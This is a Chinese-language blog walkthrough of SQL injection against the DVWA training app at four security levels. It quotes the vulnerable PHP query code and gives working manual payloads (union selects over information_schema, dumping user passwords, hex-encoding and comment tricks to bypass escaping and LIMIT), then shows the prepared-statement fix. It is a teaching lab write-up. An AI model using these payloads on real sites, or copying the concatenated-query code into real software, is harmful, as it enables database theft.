欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

SQL Injection

程序员文章站 2022-06-02 14:10:29
...

前言

SQL注入 (SQL Injection),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。据说黑客依靠的就是常见的SQL注入漏洞。

SQL注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是整数型

2.猜解SQL查询语句中的字段数 (order by )

3.确定显示的字段顺序 

4.获取当前数据库 (爆库)

5.获取数据库中的表 (爆表)

6.获取表中的字段名 (爆字段)

7.下载数据 (爆数据)

 

 

  • Low

服务端核心代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,  程序没有对参数id做任何过滤,  导致sql注入漏洞。

 

漏洞利用

首先正常查询, 输入1:

SQL Injection

  • 判断注入类型

尝试注入 单引号:

SQL Injection

预测出sql语句结构可能是:

SELECT * FROM users WHERE id = '$id';

进一步将恶意语句注入到id值,  并且用注释符去掉最后一个单引号:

1' and 1=1%23

SQL Injection

若注入一个不正确的语句,  看看注入是否还成立:

1' and 1=2%23

SQL Injection

可以看到执行不成功,  最后可以得知为字符型的显错注入。

  • 判断字段数
1' order by 3%23

SQL Injection

SQL Injection

最后得知字段数为2

  • 爆当前数据库和用户
0' union select user(),database() %23

SQL Injection

注意, id=0用于引导显错, (其实id=1也可以, 只不过多显示了id=1的查询信息)

  • 爆所有数据库
0' union select database(),group_concat(schema_name) from information_schema.schemata %23

SQL Injection

对于不熟悉这些语法的童鞋可以看一下之前写过的blog:  SQL注入进行爆库爆表

  • 爆表
0' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23

SQL Injection

  • 爆字段
0' union select database(),group_concat(column_name) from information_schema.columns where table_name="users"%23

SQL Injection

  • 爆值
0' union select  database(),group_concat(user_id,"-",first_name,"-",last_name,"-",user,"-",password) from dvwa.users%23

SQL Injection

到此,  sql注入就完成了。

 

 

  • Medium

服务端核心代码:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];

	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Display values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Medium级别的代码利用mysql_real_escape_string函数对特殊符号 \x00,\n,\r,\,’,”,\x1a 进行转义;同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

 

漏洞利用

虽然用下拉选择表单来控制用户输入,  但是攻击者可以用抓包修改数据包的方式来攻击。

抓包查看:

SQL Injection

于是在id值后面注入单引号,  结果是被mysql_real_escape_string()函数转义了:

SQL Injection

绕过mysql_real_escape_string()函数的方法有几种 (可以采用截断注入),  这里继续发散思维,  也就是先判断sql语句是字符型还是整数型:

  • 判断注入类型

抓包修改id值为:

1 and 1=1

SQL Injection

注入成功,  故可知是整数型注入:

SQL Injection

整数型注入和字符型注入是差不多的,  只不过整数型不需要加单引号去闭合:

  • 爆库payload
0 union select database(),group_concat(schema_name) from information_schema.schemata
  • 爆表payload
0 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
  • 爆字段payload
0 union select database(),group_concat(column_name) from information_schema.columns where table_name="users"

这里发现双引号被转义到了注入失败:

SQL Injection

那么绕过mysql_real_escape_string()函数的方法有几种 (可以采用截断注入),  这里采用十六进制编码来绕过:

SQL Injection

修改数据包中的users为十六进制编码后的值(不用双引号, 要在前面加上0x)

SQL Injection

注入成功:

SQL Injection

  • 爆值payload
0 union select  database(),group_concat(user_id,first_name,last_name,user,password) from dvwa.users

 

 

  • High

服务端核心代码:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);	
}

?>

Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

 

漏洞利用

与之前不同的是, High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

SQL Injection

当我们注入单引号的时候:

SQL Injection

就会跳出此界面,  有点类似于盲注;

我们进一步判断是字符型还是整数型注入:

SQL Injection

这样就排除了整数型注入,  就是字符型注入了;  猜想sql语句为:

SELECT * FROM users WHERE id = '$id' LIMIT 1;

虽然sql语句中用limit限制了只能输入一个结果 (即联合查询union select 不起作用了),  但是可以用注释符把limit注释掉:

0' union select user(),database() #

SQL Injection

剩下的就和 Low级别的注入一样了,  不再赘述。

 

 

  • Impossible

服务端核心代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();
		$row = $data->fetch();

		// Make sure only 1 result is returned
		if( $data->rowCount() == 1 ) {
			// Get values
			$first = $row[ 'first_name' ];
			$last  = $row[ 'last_name' ];

			// Feedback for end user
			$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

 

 

  • 参考文章

DVWA-1.9全级别教程之SQL Injection

相关标签: DVWA